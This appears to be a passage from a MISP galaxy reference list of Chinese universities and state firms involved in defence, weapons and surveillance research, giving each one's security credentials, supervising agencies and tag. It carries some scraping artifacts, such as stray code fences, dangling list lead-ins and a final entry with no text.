CSGC is a leading producer of armaments for the People’s Liberation Army. It was founded in 1999.
and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company's attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company. CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company's website.

The tag is: *misp-galaxy:china-defence-universities*="*China South Industries Group (中国兵器装备集团有限公司)*"

### China State Shipbuilding Corporation (中国船舶工业集团有限公司)

CSCC was established as one China’s primary state-owned weapons companies on 1 July 1999 to build ships for military and civilian customers. CSSC markets itself as as the ‘backbone’ of the Chinese navy and its core products include a variety of warships and support vessels. Alongside its program supporting the PLA Navy, Bloomberg notes that CSSC ‘produces oil tankers, bulk carriers, conditioner vessels, deepwater survey ships, and marine equipment.’ On 2 July 2019, it was announced that the China Shipbuilding Industry Corporation and the CSSC would merge. According to Jane’s Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion (AUD178 billion) and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’

The tag is:  *misp-galaxy:china-defence-universities*="*China State Shipbuilding Corporation (中国船舶工业集团有限公司)*"

### China University of Geosciences (Wuhan) (中国地质大学)

CUG is subordinate to the Ministry of Education and also supervised by China’s Ministry of Land and Resources. It is actively engaged in defence research and training on geology, hosting the defence-focused Ministry of Education Key Laboratory on Geological Exploration and Evaluation. The laboratory was established in 2018, has 56 staff, and trains students in 'military geology'. CUG gained secret-level security credentials in 2009, enabling it to participate in classified defence projects.

Chinese Academy of Engineering Physics (中国工程物理研究院)

CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (姜永申) in 2016 stressed the important role that Mianyang plays in China’s larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base. The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP’s four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering. CAEP hosts part of the Tianhe-2 supercomputer, one of the world’s fastest supercomputers. Despite the sensitivity of its work, CAEP has expanded its international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars. CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.
Chongqing University (重庆大学)

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets. In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

Chongqing University of Posts and Telecommunications (重庆邮电大学)

CQUPT is involved in research on wireless network engineering and testing, next-generation wideband wireless communication, computer networking and information security, intelligent information processing, advanced manufacturing, micro-electronics and specialized chip design. It ranks among the top 100 universities in China for science and technology. The university is supervised by the Ministry of Industry and Information Technology and the Chongqing Municipal Government. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.
Chongqing University of Technology (重庆理工大学)

CQUT is a member of the B8 Cooperation Innovation Alliance (B8合作创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university. The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training. In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

The tag is: misp-galaxy:china-defence-universities="Chongqing University of Technology (重庆理工大学)"

Commercial Aircraft Corporation of China (中国商用飞机有限责任公司)

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website. Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students. COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8 Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China’s other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China’s dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC’s C919.

The tag is: misp-galaxy:china-defence-universities="Commercial Aircraft Corporation of China (中国商用飞机有限责任公司)"
Criminal Investigation Police University of China (中国刑事警察学院)

CIPUS was founded in May 1948 and underwent several name changes, but was upgraded in 1981 to become the first police university offering a specialised undergraduate degree program. It runs a national engineering laboratory, two MPS key laboratories, and provincial key laboratories. It is focused on training in criminal investigation, criminology science and technology and criminal law. The university also has relationships with companies that provide the technological tools that contribute to the PRC’s public security apparatus. For instance, it has a relationship with the company Haiyun Data on public security intelligence. Haiyun provides data visualization services for MPS bureaus across China.

```  

Dalian Minzu University (大连民族大学)

DLMU was established in 1984 as an institution that researches China’s ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government. Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China. DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (大连市民族文化数字技术重点实验室). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of facial and optical movements across different ethnic groups. DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (国家民委智能感知与先进控制重点实验室), housed within the university’s College of Electromechanical Engineering (机电工学院). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology. DLMU’s party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

```
Dalian Naval Academy (大连海军学院)

The Dalian Naval Academy is one of the main training colleges for junior officers and cadets in the PLA Navy. The academy focuses on maritime navigation technology, communications engineering, electronic information engineering, weapons systems engineering, surveying and control science. Scientists from the Dalian Naval Academy produce publications on a variety of defence topics, including:

The tag is: `misp-galaxy:china-defence-universities="Dalian Naval Academy (大连海军学院)"`

Dalian University of Technology (大连理工大学)

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government's efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances. In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University's Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

The tag is: `misp-galaxy:china-defence-universities="Dalian University of Technology (大连理工大学)"`

Donghua University (东华大学)

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China's defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects. DHU claims that much
of its research has been applied to fields such as defence technology and aviation, and contributed towards China’s space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group (际华集团) for collaboration on textiles to meet the military’s needs.

The tag is: misp-galaxy:china-defence-universities="Donghua University (东华大学)"

East China University of Technology (东华理工大学)

ECUT was founded in 1956 as the first institution of higher education for China’s nuclear industry. Since 2001, it has been subject to four ‘joint construction’ agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university’s involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT. ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute (东华理工大学国防科技学院) was established.

The tag is: misp-galaxy:china-defence-universities="East China University of Technology (东华理工大学)"

Engineering University of the CAPF (中国人民武装警察部队工程大学)

The Engineering University of the CAPF is an institution devoted to training personnel in China’s paramilitary service, the People’s Armed Police, in command and engineering disciplines. The university focuses on paramilitary information engineering, paramilitary equipment technology, non-lethal weapons, military communications and mathematical cryptography. Students of the university can select majors from disciplines such as communications engineering, information security, military big data engineering, management science and engineering, and mechanical engineering. The Engineering University of the CAPF hosts the Key Military Laboratory for Non-Lethal Weapons (非致命武器等全军重点实验室), the Big Data and Cloud Computing Laboratory (大数据与云计算实验室), and the Command Automation Training Centre (指揮自动化培训中心), indicating expertise in these areas. The Engineering University of the CAPF has collaborated significantly with a Beijing-based company called SimpleEdu (北京赛阳教育科技有限公司), focusing primarily on social media and internet research. Below is a list of initiatives with which the Engineering University of the CAPF has collaborated:
Fudan University (复旦大学)

Fudan University is among China’s best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology. All defence-related projects and matters in Fudan are managed by the university’s Institute of Special Materials and Technology (专用材料与装备技术研究院) and Defence Industry Secrets Committee (复旦大学军工保密委员会). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute’s director, is also an advisor to the PLA and defence companies on materials science. Fudan University’s Materials Science Department includes one professor who is described as specifically being a ‘defence system professor’, which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (国家保密学院), in partnership with China’s National Administration of State Secrets Protection (国家保密局). The institute carries out research and training on the protection of state secrets.

Fuzhou University (福州大学)

Fuzhou University is overseen by the Fujian Provincial Government and a focus on engineering disciplines. It does not appear to engage in significant levels of defence research. However, the Fuzhou University Military-Civil Fusion Innovation Research Institute (福州大学军民融合创新研究院) was jointly established in 2016 by Fuzhou University along with a number of defence companies and military research institutions under the guidance of Fujian Provincial Government’s National Defence Industry Office (省国防科工办). Furthermore, the Fujian Provincial People’s Government and SASTIND entered an agreement to jointly develop the university as part of China’s military-civil fusion initiative in 2018. This indicates that the university will expand its involvement in defence research. The university has held second-class weapons R&D secrecy credentials since 2006.
Guilin University of Electronic Science and Technology (桂林电子科技大学)

GUET specialises in electronics, communications and computer science. It engages in growing levels of defence research, indicated by the decision to place it under the joint administration of the defence industry agency SASTIND and the Guangxi Provincial Government in 2018. The PLA describes GUET as ‘Guangxi Province’s only university to have long carried out defence research.’ Areas of defence research at the university include communications technology, materials science, signals processing, microwaves, satellite navigation, and command and control. Since 2007, the university has held secret-level security credentials, enabling it to participate in classified weapons and defence technology projects.

Hangzhou Dianzi University (杭州电子科技大学)

HDU specialises in information technology and has been jointly supervised by the Zhejiang Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province’s only provincial-level higher education institution to have officially designated national defence disciplines. HDU’s leadership is closely integrated with its defence research. Since its creation in 2008, the university’s main defence laboratory has been run by Xue Anke, who was the university’s president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert Committee on Artificial Intelligence Development. Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018. HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

Hangzhou Normal University (杭州师范大学)

Hangzhou Normal University is a Chinese university subordinate to the Zhejiang Provincial Government. The university was initially established in 1978 as Hangzhou Normal College (杭州师范) to focus on teacher training, art education as well as research in the humanities and natural sciences. Hangzhou Normal University retains this broad academic focus and oversees faculties such as the Alibaba Business School (阿里巴巴商学院). Hangzhou Normal University collaborates with China’s MPS on the development of surveillance technology. In March 2019, the university entered into an agreement with the Zhejiang Police College, the Zhejiang Public Security Office, and Hikvision—China’s leading producer of video surveillance technology—to establish a joint laboratory. The joint laboratory reportedly focuses on applying big data analysis, cloud computing and internet of things technology to improve China’s policing capability.

The tag is: *misp-galaxy:China-Defence-Universities*="Hangzhou Normal University (杭州师范大学)"

---

Harbin Engineering University (哈尔滨工程大学)

HEU is one of China’s top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university’s 2017 graduates who found employment were working in the defence sector. As one of the group of universities subordinate to the Ministry of Industry and Information Technology (MIIT) known as the ‘Seven Sons of National Defence’ (国防七子), HEU is an integral part of China’s defence industry. HEU’s achievements include producing China’s first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy’s submarine, undersea weapon, and warship projects. HIT’s role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy committed to developing HEU’s capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center. HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China’s nuclear warhead research organisation.

Harbin Institute of Technology (哈尔滨工业大学)

HIT is one of China’s top defence research universities. As one of seven universities run by MIIT, it is known as one of the ‘Seven Sons of National Defence’ (国防七子). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China’s defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university’s graduates that year who found employment were working in the defence sector. HIT has been described by Chinese state media as having ‘defence technology innovation and weapons and armaments modernisation as its core’. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry. HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China’s civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (哈尔滨工程大学信息对技术研究所).

Harbin University of Science and Technology (哈尔滨理工大学)

HRBUST focuses on engineering, science, economics, management, philosophy, literature, law and education. In 2015, it was placed under the joint supervision of the Heilongjiang Provincial Government and SASTIND, which is an arrangement designed to develop the university’s involvement in defence-related research and training. HRBUST’s relationship with SASTIND indicates that it will continue expanding its role in defence research. Currently, the university has at least four designated national defense disciplines and plans to build a national defense key laboratory. It holds secret-level security credentials.

The tag is: `misp-galaxy:china-defence-universities="Harbin University of Science and Technology (哈尔滨理工大学)"

Table 888. Table References
Hebei University (河北大学)

Hebei University is Hebei Province’s only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in ‘strengthening its national defence characteristics’. HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university’s College of Physics Science and Technology as a ‘discipline with defence characteristics’. An article about this on the university’s news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU’s only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.

In 2017, HBU held a forum on military-civil fusion for technology and innovation to ‘uncover the university’s potential for defence-industry technological research’ and encourage greater integration with defence companies.

Hebei University of Science and Technology (河北科技大学)

HEBUST engages in moderate but growing levels of defence research. It has been supervised by defence industry agency SASTIND since 2013, when SASTIND and the Hebei Provincial Government agreed to jointly develop the university's involvement in defence research. By 2017, the university claimed to have completed 300 defence projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. While the university does not appear to have any dedicated defence laboratories, it has described five of its laboratories as platforms for defence research. Areas of materials science, mechanical engineering and control science at HEBUST have been designated ‘disciplines with national defence characteristics’ by SASTIND. HEBUST may also be pursuing greater integration between China’s defence needs and the university's research on textiles engineering and biological fermentation.

HEBUST states that it has developed close cooperation with China Electronics Technology Group Corporation’s 54th Research Institute, an organization blacklisted by the US Government Entity List. Defence industry conglomerate Aviation Industry Corporation of China also funds research at the university.

Hefei University of Technology (合肥工业大学)

HFUT a leading Chinese university subordinate to the Ministry of Education. It specialises in engineering and engages in growing levels of defence research, particularly in the fields of advanced materials, smart manufacturing and electronic information. As of 2018, HFUT was the only civilian university in Anhui Province fully certified to carry out military projects, holding secret-level security credentials, and had undertaken over 200 such projects. In 2018, the university came under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND. According to HFUT, this agreement ‘will powerfully advance the university's development of national defence disciplines, training of talent for defence industry, and construction of defence industry and national defence research platforms.’ Miao Wei, head of the Ministry of Industry and Information Technology, which oversees China’s defence industry, is a graduate of HFUT.

The tag is: misp-galaxy:china-defence-universities="Hefei University of Technology (合肥工业大学)"

Heilongjiang Institute of Technology (黑龙江工程学院)

HLJIT is an engineering-focused university that engages in growing levels of defence research. In 2015, the Heilongjiang Provincial Government partnered with defence industry agency SASTIND to expand the university's ability to ‘show its national defence characteristics and serve the national defence science and technology industry.' SASTIND has designated military-use power and energy, optoelectronics and laser technology, and computing as three ‘disciplines with national defence characteristics’ at HLJIT. In June 2016, HLJIT and ZTE jointly launched an MOE-ZTE ICT Product-Teaching Integration Innovation Base (教育部-中兴通讯ICT产教融合创新基地) and established the Heilongjiang School of Engineering-ZTE Information and Communications Technology College (黑龙江工程学院-中兴信息与通信技术学院). ZTE has been reportedly barred from US government contracts. As it increases its implementation of military-civil fusion, HLJIT has developed relationships with defence conglomerates. The university is particularly close to China Aerospace Science and Technology Corporation (CASC), a leading state-owned manufacturer of long-range missiles and satellites. In 2017, HLJIT partnered with a subsidiary of CASC to establish a joint research centre, the Aerospace Smart City Research Institute. The subsidiary, Aerospace Shenzhou Smart System Technology Co., Ltd. (航天神舟智能系统技术有限公司), specialises in smart city and informatization technology. HLJIT holds confidential-level security credentials, allowing it to participate in confidential defence technology projects.

Henan University of Science and Technology (河南科技大学)

HAUST is Henan province’s leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province’s only university subject to a ‘joint-construction’ agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST’s involvement in defence research. As early as 2009, the university stated that it had made great contributions to the defence and aviation industries, undertaking large amounts of defence research projects. HAUST describes itself as China’s primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as ‘disciplines with defence characteristics’, covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities. The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

Huazhong University of Science and Technology (华中科技大学)

HUST is one of China’s leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012. The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST’s defence research. HUST has worked closely with the PLA and China’s defence industry. This collaboration includes the development of artificial intelligence and imaging technology for weapons. The university’s work on pulsed power is linked to China’s nuclear and directed-energy weapons program. China’s state-owned defence conglomerates and China’s nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating. HUST holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence projects.

The tag is: misp-galaxy:china-defence-universities="Huazhong University of Science and Technology (华中科技大学)"

Hunan University (湖南大学)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research. In 2011, China’s defence industry agency, SASTIND, entered a partnership with the MOE to expand the university’s participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university’s National Supercomputer Center. HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

The tag is: misp-galaxy:china-defence-universities="Hunan University (湖南大学)"
**Hunan University of Science and Technology (湖南科技大学)**

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a 'joint-construction' agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university's involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials. HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy. HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco’s National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (轻武器终点杀伤技术国防重点实验室).

---

**Information Engineering University (中国人民解放军信息工程大学)**

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as ‘the sole military academy for the cyber and electronic warfare arms of China’s network-electronic forces’. The IEU is currently subordinate to the PLA Strategic Support Force’s Network Systems Department, which holds the military’s signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA’s signals intelligence service that has been incorporated into the Strategic Support Force. IEU’s command tracks include Network Engineering (网络工程), which is dedicated to the cultivation of cyber attack and defense technical cadre (网络攻防技术干部). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (河南省实验室). The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a ‘whole-military foreign languages training base for individuals going abroad’. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA’s political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

The tag is: `misp-galaxy:china-defence-universities="Information Engineering University (中国人民解放军信息工程大学)"`
Institute of NBC Defense (陆军防化学院)

The Institute of NBC Defense is the PLA's premier institution devoted to training junior, mid-career and senior officers on technology related to defence against nuclear, biological and chemical weapons. Most scientific research tends to focus on radiation protection and nuclear safety.

The tag is: `misp-galaxy:china-defence-universities="Institute of NBC Defense (陆军防化学院)"`

Jiangsu University of Science and Technology (江苏科技大学)

JUST engages in high levels of defence research. With a focus on research relevant to the PLA Navy, JUST is supervised by the China State Shipbuilding Corporation and the China Shipbuilding Industry Corporation, China's leading defence shipbuilding conglomerates. In 2002, JUST was one of eight universities jointly supervised by defence industry agency COSTIND and a provincial government. In 2016, it was the subject of an agreement between the Jiangsu Provincial Government and defence industry agency SASTIND to expand its role in defence research. JUST scientists have been involved in nuclear submarine, unmanned submersible and aircraft carrier projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. Faculties at the university involved in defence research include the School of Naval Architecture and Ocean Engineering and the School of Energy and Propulsion.

The tag is: `misp-galaxy:china-defence-universities="Jiangsu University of Science and Technology (江苏科技大学)"`

| Table 901. Table References |
Jilin University (吉林大学)

JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially. JLU's National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university's national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding. JLU's State Key Laboratory of Superhard Materials (超硬材料国家重点实验室) works closely with China's nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (北京高压科学研究中心) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials. The university hosts at least two defence research labs, located in the university's College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (海战场攻防对抗仿真技术教育部重点实验室(Ｂ类)) is involved in cybersecurity research for the Navy. The lab's academic committee is headed by a computer scientist from China Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer. JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

Lanzhou University (兰州大学)

LZU’s involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects. LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university’s defence research and the defence industry relationships. LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology. In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China’s largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China’s nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation. In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

Logistics University of the People’s Armed Police Force (中国人民武装警察部队后勤学院)

The Logistics University of the People’s Armed Police Force is an institution devoted to training personnel in logistics for China’s paramilitary service, the People’s Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering. The Logistics University of the People’s Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (南开大学) and the Tianjin Eminent Electric Cell Material Company (天津爱敏特电池材料有限公司) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (天津工业大学) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

**Nanjing Normal University (南京师范大学)**

Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence. Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (公安部重点实验室), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ (视频GIS实验室) in April 2012. Nanjing Normal University has a close
relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: `misp-galaxy:china-defence-universities="Nanjing Normal University (南京师范大学)"`

Nanjing Tech University (南京理工大学)

